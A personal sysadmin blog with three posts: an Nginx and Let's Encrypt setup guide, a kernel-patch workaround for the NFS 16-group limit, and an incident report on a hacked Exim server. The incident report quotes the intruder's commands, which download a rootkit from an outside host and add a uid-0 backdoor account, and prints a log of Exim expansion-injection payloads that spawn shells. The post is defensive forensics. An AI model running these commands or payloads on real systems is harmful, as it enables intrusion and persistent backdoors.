Let’s encrypt!

“The Let’s Encrypt project aims to make encrypted connections to World Wide Web servers ubiquitous. By getting rid of payment, web server configuration, validation emails, and dealing with expired certificates it is meant to significantly lower the complexity of setting up and maintaining TLS encryption.”Wikipedia

Let’s Encrypt is a service provided by the Internet Security Research Group (ISRG), a public benefit organization. Major sponsors are the Electronic Frontier Foundation (EFF), the Mozilla Foundation, Akamai, and Cisco Systems. Other partners include the certificate authority IdenTrust, the University of Michigan (U-M), the Stanford Law School, the Linux Foundation as well as Stephen Kent from Raytheon/BBN Technologies and Alex Polvi from CoreOS.

So, in summary, with Let’s Encrypt you will be able to request for a valid SSL certificate, free of charges, issued for a recognized CA and avoiding the mess of the mails, requests, forms typical of the webpages of the classic CA issuers.

The rest of the article shows the required steps needed for a complete setup of a Nginx server using Let’s encrypt issued certificates:

Install letsencrypt setup scripts:

cd /usr/local/sbin
sudo wget https://dl.eff.org/certbot-auto
sudo chmod a+x /usr/local/sbin/certbot-auto

Preparing the system for it:

sudo mkdir /var/www/letsencrypt
sudo chgrp www-data /var/www/letsencrypt

A special directory must be accesible for certificate issuer:

location ~ /.well-known {
allow all;

Service restart. Let’s encrypt will be able to access to this domain and verify the athenticity of the request:

sudo service nginx restart

Note: At this point you need a valid A DNS entry pointing to the nginx server host. In my example, I will use the mydomain.com domain as an example.

Requesting for a valid certificate for my domain:

sudo certbot-auto certonly -a webroot --webroot-path=/var/www/ca -d mydomain.com

If everything is ok, you will get a valid certificate issued for your domain:


You will need a Diffie-Hellman PEM file for the crypthographic key exchange:

sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048

Setting the nginx virtual host with SSL as usual but using the Let’s encrypt issued certificate:

ssl on;
ssl_certificate /etc/letsencrypt/live/mydomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/mydomain.com/privkey.pem;

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_dhparam /etc/ssl/certs/dhparam.pem;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";

Check the new configuration and restarting the Nginx:

nginx -t
sudo service nginx restart

Renewing the issued certitificate:

cat << EOF > /etc/cron.d/letsencrypt
30 2 * * 1 root /usr/local/sbin/certbot-auto renew >> /var/log/le-renew.log
35 2 * * 1 root /etc/init.d/nginx reload

The NFS 16 groups limit issue

The last Friday I was involved in a curious situation trying to setup a NFS server. The NFS server was mounted in UNIX server which was using UNIX users accounts assigned to many groups. These users were using files and directories stored in the NFS server.

As brief description of the situación which incites this post, I will say that the problem occurs when you are using UNIX users which are assigned in more than 16 UNIX groups. In this scenario, if you are using NFS (whatever version) with the UNIX system authentication (AUTH_SYS), quite common nowadays in spite of the security recommendations, you will get a permission denied during the access to certain arbitrary files and directories. The reason is that the list of secondary groups assigned to the user is truncated by the AUTH_SYS implementation. That is simple amazing!

Well, to be honest, this is not an unknown NFS problem. This limitation is here, around us, since the early stages of the modern computing technology. After a quick search on Internet, I found the reason why this happens and it is not a NFS limitation but it is a limit specified on AUTH_SYS:

   The client may wish to identify itself, for example, as it is
   identified on a UNIX(tm) system.  The flavor of the client credential
   is "AUTH_SYS".  The opaque data constituting the credential encodes
   the following structure:

         struct authsys_parms {
            unsigned int stamp;
            string machinename<255>;
            unsigned int uid;
            unsigned int gid;
            unsigned int gids<16>;

The root cause

AUTH_SYS is the historical method which is used by client programs contacting an RPC server need. This allows the server get information about how the client should be able to access, and what functions should be allowed. Without authentication, any client on the network that can send packets to the RPC server could access any function.

AUTH_SYS has been in use for years in many systems just because it was the first authentication method available but AUTH_SYS is not a secure authentication method nowadays. In AUTH_SYS, the RPC client sends the UNIX UID and GIDs for the user, the server implicitly trusts that the user is who the user claims to be. All the this information is sent through the network without any kind of encryption and authentication, so it is high vulnerable.

In consequence, AUTH_SYS is an insecure security mode. The result is this can be used as the proverbial open lock on a door. Overall  the technical articles about these matters highly suggest the usage of other alternatives like NFSv4 (even NFSv3) and Kerberos, but  yet AUTH_SYS is commonly used within companies, so we must still deal it.

Note: This article didn’t focus in security issues. The main purpose of this article is describe a specific situation and show the possible alternatives identified during the troubleshooting of the issue.

Taking up the thread …

I was profiling a situation where the main issue was leaded by a UNIX secondary groups list truncation. Before continue, some summary of the context here: A UNIX user has a primary group, defined in the passwd database, but can also be a member of many other groups, defined in the group database. A UNIX system hardcoded  a limit of 16 groups that a user can be a member of (source). This means that clients into UNIX groups only be able to access to 16 groups. Quite poor when you deal with dozens and dozens of groups.

As we already know, the problem is focused in the NFS fulfilment with the AUTH_SYS specifications, which has an in-kernel data structure where the groups a user has access to is hardcoded as an array of 16 identifiers (gids). Even though Linux now supports 65536 groups, it is still not possible to operate on more than 16 from userland.

My scenario …

at this moment, I had identified this same situation in my case. I had users assigned to more than 16 secondary groups, I had a service using a NFS for the data storage but, in addition, I had some more extra furnitures in the room:

  • Users of the service are actual UNIX accounts. The authorization to for the file accessing is delegated to the own UINIX system
  • I hadn’t got a common LDAP server sharing the uids and gids
  • The NFS service wasn’t under my control

; this last point turned my case a little bit more miserable as we will see later.

 Getting information from Internet …

first of all, a brief analysis of the situation is always welcome:

– What is the actual problem? This problem occurs when a user, who is a member of more than 16 groups, tries to access a file or directory on an nfs mount that depends on his group rights in order to be authorized to see it.  Isn’t it?
– Yes!
– So, whatever thing that you do should be starting by asking on Google. If the issue was present for all those years, the solution should be also present.
– Good idea! – I told concluding the dialog with myself.

After a couple of minutes I had a completed list of articles, mail archives, forums and blog posts which throw up all kind of information about the problem. All of them talked about the most of the points introduced up to this point in this article. More or less interesting each one, one of them sticked out respect the others. It was the solving-the-nfs-16-group-limit-problem posted article from the xkyle.com blog.

The solving-the-nfs-16-group-limit-problem article describes a similar situation and offers it own conclusions. I must admit that I am pretty aligned with these conclusions and I would recommend this post for a deep reading.

The silver bullet

This solution is the best case. If you have the control of the NFS and you are running a Linux kernel 2.6.21 at least. This kernel or newer supports a NFS feature with allows ignore the gids sent by the RPC operations, instead of uses the local gids assigned to the uid from the local server:

-g or --manage-gids
Accept requests from the kernel to map user id numbers into lists of group id numbers for use in access control. An NFS request will normally (except when using Kerberos or other cryptographic authentication) contains a user-id and a list of group-ids. Due to a limitation in the NFS protocol, at most 16 groups ids can be listed. If you use the -g flag, then the list of group ids received from the client will be replaced by a list of group ids determined by an appropriate lookup on the server. Note that the 'primary' group id is not affected so a newgroup command on the client will still be effective. This function requires a Linux Kernel with version at least 2.6.21.

The key for this solution is get synchronized the ids between the client and the server. A common solution for this last requirement it is a common Name Service Switch (NSS) service. Therefore, the --manage-gids option allows the NFS server to ignore the information sent by the client and check the groups directly with the information stored into a LDAP or whatever using by the NSS. For this case, the NFS server and the NFS client must share the UIDs and GIDs.

That is the suggested approaching suggested in solving-the-nfs-16-group-limit-problem. Unfortunately, it was not my case :-(.

But not in my case

In my case, I had no way for synchronize the ids of the client with the ids of the NFS server. In my situation the ids in the client server was obtained from a Postgres database added in the NSS as one of the backends, there was not any chance to use these backend for the NFS server.

The solution

But this was not the end. Fortunately, the nfs-ngroups patchs developed by frankvm@frankvm.com expand the variable length list from 16-bit to 32-bit numeric supplemental group identifiers. As he says in the README file:

This patch is useful when users are member of more than 16 groups on a Linux NFS client. The patch bypasses this protocol imposed limit in a compatible manner (i.e. no server patching).

That was perfect! It was that I was looking for exactly. So I had to build a custom kernel patched with the right patch in the server under my control and voilá!:

wget https://cdn.kernel.org/pub/linux/kernel/v3.x/linux-3.10.101.tar.xz
wget http://www.frankvm.com/nfs-ngroups/3.10-nfs-ngroups-4.60.patch
tar -xf linux-3.10.101.tar.xz</code><code>
cd linux-3.10.101/
patch &lt; ../3.10-nfs-ngroups-4.60.patch
make oldconfig
make menuconfig
make rpm
rpm -i /root/rpmbuild/RPMS/x86_64/kernel-3.10.101-4.x86_64.rpm
dracut "initramfs-3.10.101.img" 3.10.101
grub2-mkconfig &gt; /boot/grub2/grub.cfg

Steps for CentOS, based on these three documents: [1] [2] [3]


As I said this post doesn’t make focus in the security stuffs. AUTH_SYS is a solution designed for the previous times before Internet. Nowadays, the total interconnection of the computer networks discourages the usage of kind methods like AUTH_SYS. It is an authentication method too much naive in the present.

Anyway, the NFS services are still quite common and many of them are still deployed with AUTH_SYS, not Kerberos or other intermediate solutions.  This post is about a specific situation in one of these deployments. Even if these services should be progressively replaced by other more secure solutions, a sysadmin should demand practical feedback about the particularities of these legacy systems.

Knowledge about the NFS 16 secondary groups limit and the different recognized workaround are still interesting from the point of view of the know-how. This post shows two solutions, even three if you consider the Kerberos choice, to fix this issue … just one of them fulfill with my requirements in my particular case.

My Exim is under attack!!

Exim logotipe

A few days ago, I received one alarm from one mail list server under my management. /etc/password
file had been modified. In fact, my system had been broke down and somebody was modifying
my server at will. Fortunetly, I often configure my monitor system to check
variations in important files of the system.
Quickly, I logged on the host and, shaw the next commands executed as
root on my server:

cd ..
cd ..
rm -rf *
wget \freewebtown.com/zaxback/rk.tar
tar xzvf rk.tar
cd shv5
./setup 54472Nx79904 9292
/usr/sbin/useradd -u 0 -g 0 -o mt
passwd mt

The hacker had installed something on my server and I had to discover what! …

The downloaded package, rk.tar (http://freewebtown.com/zaxback/rk.tar) contained a
the badware trojan called shv5. This mainly was a backdoor and a suite of fake
system libraries and binaries changed maliciously.

The first task in the TODO list was check if somebody else was conected yet
in the system and, at least review review the auth.log to known to IP which
was the ofrigin of the attack.

Once detected the hacker’s IP and confirmed my suspicion about the origin of the
attack: a windows infected host (a zombie), I decided that
follow the tracks of the hacker was time to lose, so I began to check
the scope of intrusion.

Reviewing the rk.tar package and the setup.sh script I got to make a list
of posible infected files on my server:


I noted that many importat commands of the system has been changed for others
non-safe commands. The reason was obviously: Hide the Troyan!. Also, the
badware had modified attributes of infected files to avoid modifications
(chattr +isa /usr/sbin/netstat, for example).

Inmediatly, I decided the reinstallation of the main binaries and libraries
of the system:

apt-get install --reinstall net-tools coreutils

After recover safe versions of commands like netstat, md5sum, ls or similars,
I began to see what was really happen on the system:

  • A keylogger was up on the system:
    root      7469  0.0  0.0   1804   652 ?        S    14:55   0:00 ttymon tymon
    tcp        0      0  * LISTEN     7467/ttyload
  • A hide HTTP/FTP server was running:
    103       7671  0.1  0.1   4936  2968 ?        S    14:58   0:18  syslogr
    root     10886  0.0  0.0  11252  1200 ?        Sl   17:39   0:00 /usr/sbin/httpd
    tcp        0      0 * LISTEN     7424/httpd

syslogr process wasn’t nothing related to the syslog system. It was a process
which launched the hide HTTP/FTP service to share files … files of the infected server.
I addition, syslogr proccess was relaunched by a root cronjob to keep up
this proccess on the system.

# crontab  -l
* * * * * /.../bin/cron.sh >/dev/null 2>&1

More things!, as you can observe in the cron job, somebody was created a hide
directory under / directory: /... . This directory contained the httpd
binaries and conffiles and directories used by the httpd process.

After sometime working on the server, I’d done the follow actions in order
to revoke all the security breaks detected:

  • I’d reinstalled all the binaries and libraries posible non-safe after the atack.
  • I’d erased bad process on the system aka syslogr, ttymon … and cronjobs or others
    ways to keep up these.
  • I’d deleted the user mt with the uid=0
  • I’d reviewed the SSH access to the server on the main firewall

6 coffees later, I reached one diagnostic more detailled about what was happen
… and there wasn’t good news 😦

On December 16, the server had been hacked through a vulnerability discovered
on the Exim4 service and reported on Debian Security Reports on December 10:


This vulnerability allowed remote execution of arbitrary code and a privilege
escalation. This allowed to the attacker to inject public keys for the root

2010-12-16 20:47:25 1PTJj8-0006K2-Ck rejected from  H=trbearcom.com.au (yahoo.com) []: message too big: read=52518119 max=52428800
2010-12-16 20:48:25 H=trbearcom.com.au (yahoo.com) [] temporarily rejected MAIL webmaster@yahoo.com: failed to expand ACL string "/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/b
in/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run
{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin
/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /
bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}
${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exe
c /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&
0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c '
exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0
2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -
c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/s
h -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i
&0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bi
n/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh
-i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{
/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/
sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${
run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /b
in/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}
} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec
/bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}} ${r
2010-12-16 20:49:06 1PTJp4-0006Kx-E5  sistemas-srv  R=mailman_router T=mailman_transport

The attack could have been controlled at this point but missed two

  1. Monitorization root authorized keys file it could not see
    the changes due it didn’t have permission to access it so the monitor
    didn’t report anything.
  2. At sometime, the SSH restriction access was removed.

These facts allowed that the attack continues hidden until Janury 9. I lose!!!

As a summary, the timing of the attack is as follows:

  • December 10, Exim vulnerability discovered an published

    NM/09 Bugzilla 787: Potential buffer overflow in string_format Patch provided by Eugene Bujak

  • December 16, a large-scale attack is performed using this vulnerability where my host is break down from trbearcom.com.au (yahoo.com) []. In this attack it’ll incorporate public key of the attacker root
  • December 26, the attacker inserts a Trojan into my host
  • January 9, the attacker inserts a keylogger and attempts to hide editing system tools. During this attack, my monitors notified the /etc/password file is changed

Finally, I knew how to the attacker had break down my server and things which I’d to fix, so I ‘d make the following actions in order to restore the security of may server:

  • Updated the system to lenny:
    1. Edit the /etc/apt/sources.list file fixing the repositories to lenny
    2. sudo aptitude update
    3. sudo aptitude install apt dpkg aptitude
    4. sudo aptitude full-upgrade

More references: